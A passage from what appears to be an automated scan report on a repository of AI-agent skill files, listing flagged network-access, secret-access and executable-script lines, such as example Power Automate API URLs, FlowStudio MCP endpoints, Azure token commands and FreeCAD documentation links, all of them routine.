    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 269
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 270
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",       "parameters/method": "POST",
  • Network accessline 271
    "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 315
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 316
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "%252fShared%2bDocuments%252fdata.json",
  • Network accessline 317
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/claude-code/skills/flowstudio-power-automate-build/references/action-patterns-core.md

  • Network accessline 170
    "inputs": {         "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 171
    "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"       }
  • Network accessline 172
    "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 233
    "inputs": {         "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 234
    "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"       }
  • Network accessline 235
    "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 364
    "Start_Job": {   "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 365
    "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } },
  • Network accessline 366
    "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 384
    "type": "Http",       "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 385
    "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }     },
  • Network accessline 386
    "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 435
    "type": "Http",   "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 436
    "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } },
  • Network accessline 437
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 440
    "type": "Http",   "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
  • Network accessline 441
    "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } }
  • Network accessline 442
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }

harness/claude-code/skills/flowstudio-power-automate-build/references/action-patterns-data.md

  • Network accessline 312
    "inputs": {     "method": "POST",     "uri": "https://api.example.com/endpoint",
  • Network accessline 313
    "method": "POST",     "uri": "https://api.example.com/endpoint",     "headers": {
  • Network accessline 314
    "uri": "https://api.example.com/endpoint",
  • Network accessline 342
    "inputs": {     "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 343
    "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",     "headers": {
  • Network accessline 344
    "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 349
    "authentication": {       "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",
  • Network accessline 350
    "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",       "tenant": "<tenant-id>",
  • Network accessline 351
    "authority": "https://login.microsoftonline.com",
  • Network accessline 352
    "tenant": "<tenant-id>",       "audience": "https://graph.microsoft.com",       "clientId": "<app-registration-id>",
  • Network accessline 353
    "audience": "https://graph.microsoft.com",
  • Network accessline 429
    "inputs": {     "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
  • Network accessline 430
    "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",     "headers": { "Content-Type"
  • Network accessline 431
    "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",

harness/claude-code/skills/flowstudio-power-automate-build/references/build-patterns.md

  • Network accessline 28
    },         "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 29
    "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",           "table": "MyList",
  • Network accessline 30
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/claude-code/skills/flowstudio-power-automate-build/references/flow-schema.md

  • Network accessline 10
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 11
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 210
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 211
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",

harness/claude-code/skills/flowstudio-power-automate-build/references/trigger-types.md

  • Network accessline 140
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 141
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 142
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 146
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 147
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 148
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 170
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 171
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 172
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 176
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 177
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 178
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/claude-code/skills/flowstudio-power-automate-debug/SKILL.md

  • Network accessline 26
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 27
    - Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token.
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 139
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 140
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 141
    - [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md)
  • Network accessline 142
    - [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md)
  • Network accessline 143
    - [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)

harness/claude-code/skills/flowstudio-power-automate-governance/SKILL.md

  • Network accessline 8
    audit security, or write governance metadata to FlowStudio. metadata:   source: "https://mcp.flowstudio.app."
  • Network accessline 9
    metadata:   source: "https://mcp.flowstudio.app." ---
  • Network accessline 10
    source: "https://mcp.flowstudio.app."
  • Network accessline 29
    - Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point
  • Network accessline 140
    - [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit
  • Network accessline 141
    - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish
  • Network accessline 142
    - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing
  • Network accessline 147
    - [FlowStudio MCP](https://mcp.flowstudio.app.)
  • Network accessline 148
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)

harness/claude-code/skills/flowstudio-power-automate-mcp/SKILL.md

  • Network accessline 27
    - Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app.
  • Network accessline 28
    - MCP endpoint: `https://mcp.flowstudio.app/mcp`.
  • Network accessline 88
    Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati
  • Network accessline 95
    [Credential-related source omitted]
  • Network accessline 96
    MCP = "https://mcp.flowstudio.app/mcp"
  • Network accessline 99
    payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid,                "params": {"name": tool, "arguments": args}}     req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 100
    [Credential-related source omitted]
  • Network accessline 101
    req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 103
    "User-Agent": "FlowStudio-MCP/1.0"})     try:         resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 104
    try:         resp = urllib.request.urlopen(req, timeout=120)     except urllib.error.HTTPError as e:
  • Network accessline 105
    resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    const MCP = "https://mcp.flowstudio.app/mcp";
  • Network accessline 127
    params: { name: tool, arguments: args },   };   const res = await fetch(MCP, {
  • Network accessline 128
    };   const res = await fetch(MCP, {     method: "POST",
  • Network accessline 129
    const res = await fetch(MCP, {
  • Network accessline 164
    | Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 165
    | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont
  • Network accessline 166
    | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 229
    **Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 230
    **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 249
    - [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`.
  • Network accessline 258
    - FlowStudio MCP: https://mcp.flowstudio.app
  • Network accessline 259
    - FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp
  • Network accessline 260
    - FlowStudio MCP subscription page: https://mcp.flowstudio.app.
  • Network accessline 261
    - Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md
  • Network accessline 262
    - Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md
  • Network accessline 263
    - Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md

harness/claude-code/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md

  • Network accessline 6
    Endpoint:  https://mcp.flowstudio.app/mcp

harness/claude-code/skills/flowstudio-power-automate-monitoring/SKILL.md

  • Network accessline 31
    > 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 32
    > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in
  • Network accessline 33
    > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 64
    **Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 66
    ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 129
    "state": "Started",     "triggerType": "Request",     "triggerUrl": "https://{example-url}",
  • Network accessline 130
    "triggerType": "Request",     "triggerUrl": "https://{example-url}",     "tags": ["#operations", "#sensitive"],
  • Network accessline 131
    "triggerUrl": "https://{example-url}",
  • Network accessline 405
    - [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 406
    - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 415
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
  • Network accessline 416
    - [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)

harness/claude-code/skills/foundry-agent-sync/SKILL.md

  • Network accessline 60
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 61
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
  • Network accessline 62
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 79
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 80
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 81
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 89
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 119
    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 120
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 121
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 147
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 148
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 149
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 158
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 159
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 160
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/claude-code/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 58
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 60
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/claude-code/skills/freecad-scripts/SKILL.md

  • Network accessline 201
    - [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code)
  • Network accessline 202
    - [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects)
  • Network accessline 203
    - [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements)
  • Network accessline 204
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 205
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 206
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 207
    - [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29)
  • Network accessline 208
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 209
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 210
    - [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 211
    - [Gui Command](https://wiki.freecad.org/Gui_Command)

harness/claude-code/skills/freecad-scripts/references/geometry-and-shapes.md

  • Network accessline 7
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 8
    - [Part scripting](https://wiki.freecad.org/Part_scripting)
  • Network accessline 9
    - [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting)
  • Network accessline 10
    - [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting)
  • Network accessline 11
    - [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part)
  • Network accessline 12
    - [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting)
  • Network accessline 13
    - [Drawing API example](https://wiki.freecad.org/Drawing_API_example)
  • Network accessline 14
    - [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1)
  • Network accessline 15
    - [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2)
  • Network accessline 16
    - [Line drawing function](https://wiki.freecad.org/Line_drawing_function)

harness/claude-code/skills/freecad-scripts/references/gui-and-interface.md

  • Network accessline 7
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 8
    - [Gui Command](https://wiki.freecad.org/Gui_Command)
  • Network accessline 9
    - [Define a command](https://wiki.freecad.org/Command)
  • Network accessline 10
    - [PySide](https://wiki.freecad.org/PySide)
  • Network accessline 11
    - [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples)
  • Network accessline 12
    - [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples)
  • Network accessline 13
    - [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples)
  • Network accessline 14
    - [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets)
  • Network accessline 15
    - [Interface creation](https://wiki.freecad.org/Interface_creation)
  • Network accessline 16
    - [Dialog creation](https://wiki.freecad.org/Dialog_creation)
  • Network accessline 17
    - [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets)
  • Network accessline 18
    - [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files)
  • Network accessline 19
    - [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors)
  • Network accessline 20
    - [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF)
  • Network accessline 21
    - [Qt Example](https://wiki.freecad.org/Qt_Example)
  • Network accessline 22
    - [3D view](https://wiki.freecad.org/3D_view)
  • Network accessline 23
    - [The Coin scenegraph](https://wiki.freecad.org/Scenegraph)
  • Network accessline 24
    - [Pivy](https://wiki.freecad.org/Pivy)

harness/claude-code/skills/freecad-scripts/references/parametric-objects.md

  • Network accessline 7
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 8
    - [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I)
  • Network accessline 9
    - [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II)
  • Network accessline 10
    - [Scripted objects](https://wiki.freecad.org/Scripted_objects)
  • Network accessline 11
    - [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes)
  • Network accessline 12
    - [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration)
  • Network accessline 13
    - [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment)
  • Network accessline 14
    - [Viewprovider](https://wiki.freecad.org/Viewprovider)
  • Network accessline 15
    - [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view)
  • Network accessline 16
    - [Properties](https://wiki.freecad.org/Property)
  • Network accessline 17
    - [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList)
  • Network accessline 18
    - [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)

harness/claude-code/skills/freecad-scripts/references/scripting-fundamentals.md

  • Network accessline 7
    - [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction)
  • Network accessline 8
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 9
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 10
    - [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 11
    - [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros)
  • Network accessline 12
    - [Working with macros](https://wiki.freecad.org/Macros)
  • Network accessline 13
    - [Code snippets](https://wiki.freecad.org/Code_snippets)
  • Network accessline 14
    - [Debugging](https://wiki.freecad.org/Debugging)
  • Network accessline 15
    - [Profiling](https://wiki.freecad.org/Profiling)
  • Network accessline 16
    - [Python development environment](https://wiki.freecad.org/Python_Development_Environment)
  • Network accessline 17
    - [Extra python modules](https://wiki.freecad.org/Extra_python_modules)
  • Network accessline 18
    - [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library)
  • Network accessline 19
    - [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD)
  • Network accessline 20
    - [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui)
  • Network accessline 21
    - [Macro at startup](https://wiki.freecad.org/Macro_at_Startup)
  • Network accessline 22
    - [How to install macros](https://wiki.freecad.org/How_to_install_macros)
  • Network accessline 23
    - [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration)
  • Network accessline 24
    - [Quantity](https://wiki.freecad.org/Quantity)

harness/claude-code/skills/freecad-scripts/references/workbenches-and-advanced.md

  • Network accessline 7
    - [Workbench creation](https://wiki.freecad.org/Workbench_creation)
  • Network accessline 8
    - [Script tutorial](https://wiki.freecad.org/Scripts)
  • Network accessline 9
    - [Macros recipes](https://wiki.freecad.org/Macros_recipes)
  • Network accessline 10
    - [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python)
  • Network accessline 11
    - [Path scripting](https://wiki.freecad.org/Path_scripting)
  • Network accessline 12
    - [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example)
  • Network accessline 13
    - [Svg namespace](https://wiki.freecad.org/Svg_Namespace)
  • Network accessline 14
    - [Python](https://wiki.freecad.org/Python)
  • Network accessline 15
    - [PythonOCC](https://wiki.freecad.org/PythonOCC)

harness/claude-code/skills/frontend-accessibility/references/wcag-2.2-aa.md

  • Network accessline 3
    Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo

harness/claude-code/skills/frontend-discoverability-assets/references/icon-matrix.md

  • Network accessline 15
    Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html

harness/claude-code/skills/frontend-discoverability-assets/references/social-metadata.md

  • Network accessline 16
    Source: https://ogp.me/

harness/claude-code/skills/frontend-discoverability-assets/references/technical-seo.md

  • Network accessline 23
    - https://developers.google.com/search/docs/fundamentals/seo-starter-guide
  • Network accessline 24
    - https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data
  • Network accessline 25
    - https://developers.google.com/search/docs/crawling-indexing/robots/intro
  • Network accessline 26
    - https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview

harness/claude-code/skills/frontend-project-setup/scripts/install_companions.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/frontend-project-setup/tests/test_install_companions.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/frontend-release-quality-gate/scripts/check_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/frontend-release-quality-gate/tests/test_check_traceability.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/game-engine/assets/2d-maze-game.md

  • Network accessline 5
    **Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation)
  • Network accessline 6
    **Live demo:** [Cyber Orb](https://orb.enclavegames.com/)
  • Network accessline 7
    **Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)

harness/claude-code/skills/game-engine/assets/2d-platform-game.md

  • Network accessline 9
    **Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.

harness/claude-code/skills/game-engine/assets/gameBase-template-repo.md

  • Network accessline 5
    **Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase)
  • Network accessline 6
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)
  • Network accessline 8
    **Level editor integration:** [LDtk](https://ldtk.io)
  • Network accessline 228
    1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/)
  • Network accessline 229
    2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/)
  • Network accessline 230
    3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/)
  • Network accessline 235
    # Clone the repository git clone https://github.com/deepnight/gameBase.git my-game
  • Network accessline 236
    git clone https://github.com/deepnight/gameBase.git my-game

harness/claude-code/skills/game-engine/assets/paddle-game-template.md

  • Network accessline 9
    **Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).

